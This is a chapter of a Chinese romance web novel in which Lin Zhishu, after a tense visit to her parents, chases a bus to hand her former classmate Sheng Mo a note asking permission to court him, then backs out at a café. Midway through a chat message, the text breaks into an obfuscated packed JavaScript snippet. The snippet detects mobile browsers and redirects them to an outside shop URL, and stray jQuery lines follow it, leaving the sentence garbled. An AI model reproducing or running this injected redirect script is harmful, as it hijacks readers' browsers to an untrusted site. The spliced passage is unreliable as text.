林知树的打算是这样的：
今天是本月的1号，她把每月给父母的钱打给他们，顺便送点当季的水果去。
紧接着，按照盛默的日程，她应该能在168路公交车上逮到他，她就在那里向盛默提出第一步：告白许可申请。
可惜林知树误算了。
母亲把她拦下来说了一箩筐的话。
林知树隐约听到什么“你弟弟”之类的话，但她没听真切。
母亲对着她语速很快地说话，不断地反问，逻辑缜密，却像是被自己那完美无缺的逻辑烫到了，神色越来越激动，眼睛里越来越红。
林知树见她把那几个词翻来覆去地说，辗转地解读，她都觉得那几个词像是呕吐物了。
林知树也把那些词翻来覆去地吃进去又吐出来，最后没尝出个味道来。
“走了。”林知树的身体骨头掰直了，她站起来。
林知树看到母亲从下到上都红起来。
凭借她的本能判断，她应该是怒了。
那她更应该离开案发现场了。
“我还得去谈恋爱，妈，先走了。”她说。
母亲在身后狂怒。
林知树摸了摸额头，脚底抹油，一脸困惑地走了。
父母似乎总有多得说不完的话要对她说，那些话中带着规训和鞭策。她不懂她都那么成功了怎么还需要鞭策。
她拉黑了他们，换了手机，免得他们用话语轰炸她，同时每个月给他们一万，回家带点水果。因为拒绝赡养父母是违法的。
不过她从来不见她弟弟，这是合法的。
林知树只做合法的、让她高兴的事。
她立志远离一切鞭打她的东西，除了股票和上天，没有能鞭打她的。
*
很不巧，可能是因为刚才在母亲那里耽搁了一点时间，林知树精确算好的时机错过了。
她亲眼看到，在距离她差不多一百米处，168路公交车停下来，她的猎物盛默在她的计划之中进了公交车内。
她又亲眼看到，在距离她差不多五十米处，那辆168路公交车即将从她的视线里逃离。
林知树奔跑着。
街景从她身边后退，商业中心的广告牌自动切换到了下一张：[忍不住想跑，超轻19代跑鞋]
广告牌上的女模特轻盈而快乐地展示着跑鞋，画面里白鸽惊飞。
很不巧的是林知树穿了黑色的羽绒服，像只翅膀浸水的乌鸦。并且下过雪还没完全融化的道路格外增加了难度。
公交车站边，蓝白公交车的车门一颤，铰链逐渐折叠起来。
坐在车窗边的青年黑发黑眼，天气冷，他身上似乎也有霜雪的气息，他穿着黑色的冲锋衣和黑色登山裤，车窗外洁白的雪光映照在他的脸上。
他侧着脸看向公交车车窗外，提醒了一句：“师傅，还有人要上车。”
林知树深一脚浅一脚地刚跑到公交车边，公交车门便在她面前“啪”的合上了。
她呼哧呼哧，心平气和。
上天旨意，阻止了即将作孽的她。
就在她准备转身离开时，公交车门再次打开，车里的空气温热地涌出来。
上天旨意，让她开始新尝试。
昨天下过雪还没融化，雪地上洒了防滑砂。公交车地面上都是乘客鞋底留下的黑色砂石以及雪融化后的泥水，漆黑黏糊。
林知树钻进公交车内，还没等她道谢，车门关上，司机一脚油门冲出去。
她勉强抓住黄色扶手，在公交车的弹射起步结束后道谢：“谢谢。”
林知树把目光投向她的猎物。
盛默似乎没有看到她，他坐在公交车后排座位上，侧着脸看着窗外。
林知树的手在衣服口袋里摸了摸事先放好的纸条，确认它还在后，这才走向盛默，径直在他旁边的座位上坐下。
*
猎物。虽然她这样称呼盛默，但她发誓她没有半点不尊重人的意思。
只是因为她习惯了用这种方法追人——
杀猪盘。
大学本科时期，林知树觉得她想要一个朋友。她到处观察寻找猎物，最后她找到了庄时曼。林知树观察她的需要、适时地出现在她身边，手段包括但不限于在她减肥时雷打不动地陪她晨跑。现在庄时曼是她唯一的死党。
林知树看人的眼光很准，因为她在确定目标之前会做很多细致的调查。
现在她觉得她想要一个恋爱对象，于是她像情报局员工一样通过各路人脉调查了盛默整整二十天，她确定盛默作为恋爱对象是无风险的。
当然，在调查中她也查到了盛默的习惯：坐公交车观察人类。
“咔哒”“啪”，公交车门打开又合上。
连续好几站，车窗外面的光影在两人沉寂的脸上流过。
终于，盛默向这位曾经的同学打了个招呼：“林知树，好巧。”
他说这话的时候目光却没有看向她。
林知树也回了他一句，沿用了他的句式：“盛默，好巧。”
一点都不巧。
她知道，他也知道。
她在调查盛默习惯的时候，接连好几天在盛默可能会出现的地方蹲守，光明正大地观察情况。
她之所以那么胆大包天，因为只要在公共区域、没有跟踪偷拍骚扰没有造成当事人困扰，这完全是合法的行为，她说过了她只做合法的事。
最近经常“偶遇”老同学，盛默不可能不注意到她。
只是对林知树来说，之前的“偶遇”都是演习。
打过招呼后，两人心照不宣地再次陷入沉默。
下一站快到站的时候，林知树突然有了动作，她手脚麻利地往盛默手里塞了一张纸条。
盛默诧异地抬起眼看她，她却头也不回地站起身来，离开座位、飞速下车、消失。
他低下头，看到纸条上赫然写着：
【请问我可以追你吗？请联系我XXXXX】
*
林知树回去的时候打了一辆滴滴。
她并不像盛默那样喜欢坐公交车观察人类，她也不是减碳出行的公共交通环保拥护者，她甚至懒得自己开车，她只是一个绝望又懒惰的地球毁灭主义者。
在滴滴车上，林知树打开手机，在待办事项“递交情书”前打上一个勾。
紧接着，林知树向她的朋友庄时曼发去了一条消息汇报。
【林知树】：我追上了公交车，我向他递交了我的申请。
没过几秒，庄时曼就发来一长串尖叫，林知树几乎想象到了隔着屏幕庄时曼崩溃的表情。
【庄时曼】：昨天你跟我说是情书！你跟我说是情书！今天你才告诉我是申请！
【庄时曼】：（倒地不起）
林知树想了想，决定狡辩。
【林知树】：我先问一句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342344|199405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，免得他有女朋友或者有喜欢的人。难道我做得不对吗？
【庄时曼】：……
【庄时曼】：或许你说的有道理……
【庄时曼】：但我为什么总是被你奇怪的脑回路带偏？
林知树就当庄时曼是在夸她了。
【庄时曼】：但是你有没有觉得自己像职业杀手？调查了盛默很多天，然后某天突然跟他说要追他？
屏幕上的字跳入林知树的眼帘。
她的大脑褶皱顿时有种被熨平的错觉。
或许她该给自己辩解一下，但她现在找不到词巧言令色，因为她的判断也开始走歪了：似乎，确实，好像。真的有点类似。
林知树下车的时候，揣在兜里的手机又振动了一下，然后是第二下。
经过刚才的思想斗争，她已经做好了被当成杀手的充分准备，因此眼神里都顺带着流露出一丝平滑的冷漠。
解锁手机屏幕。
【盛默】：可以。
【盛默】：明天下午有空吗？我会在XXX咖啡馆，如果你想来可以过来。
林知树的目光从手机屏幕上飘过去。
她发现天空里的白云有一撮像是问号的形状。
*
周日。
林知树在咖啡馆外便看到了盛默，他坐在面向落地窗的高脚吧台桌边。
落地窗两侧的人影短暂地交叠着。
林知树隔着玻璃看盛默，全心全意地观赏他了几秒。
被他的目光抓包的时候，她意识到大事不妙。
职业杀手、变态跟踪狂，她这个遵纪守法的好公民为什么看起来越来越像法外狂徒。
因为心虚，林知树快步走进咖啡馆内，光线、声响和咖啡的气味一齐裹上来，把她从外面带进来的寒气驱散了。
她点了一杯咖啡，在盛默旁边的位置上坐下，用余光扫了一眼：有插座，很好。
她带了笔记本电脑，顺势打开，插上电开始工作。
这样或许能缓解一下尴尬。等盛默问起来的时候，她也可以回答：她刚才在观察工作环境，并不是色迷心窍。
盛默亲眼目睹了她进门、落座、掏电脑、插电、埋头工作这一整套行云流水的动作。本来停在喉咙口的话，连同呼吸在冷空气中凝成的白雾，一起消散了。
——所幸他也带了电脑。
电脑薄膜键盘闷软的塑料声音在喧嚣的咖啡馆内一阵一阵地被淹没。
咖啡馆外，对面的小酒馆玻璃上贴着广告海报：[下班，是生活的开始。放下工作，XX啤酒让你为自己活。]
盛默的目光从电脑屏幕上移开，放远。
他听到了旁边林知树开始收拾东西准备离开的声音，窸窸窣窣的。
“你今天没有话要对我说吗？”他问。
她弯腰把包上的拉链拉上，看向盛默，径直把心里的疑问提了出来：“你为什么同意我追你？”
盛默的手撑在吧台桌上，微微侧着身子，他审视地看着她：“那你喜欢我什么？”
林知树观察着盛默的表情。
在咖啡馆的暖色灯光下，他的眉眼多了一些柔和的色泽，看向她的目光却是带有重量的，专注地注视打量她。黑色毛衣的领子勾勒出颈部和喉结隐约的形状，还有一截露在外面的白皙的脖颈。
她回过神来，下定决心。
“有点复杂，我决定不追了，抱歉。”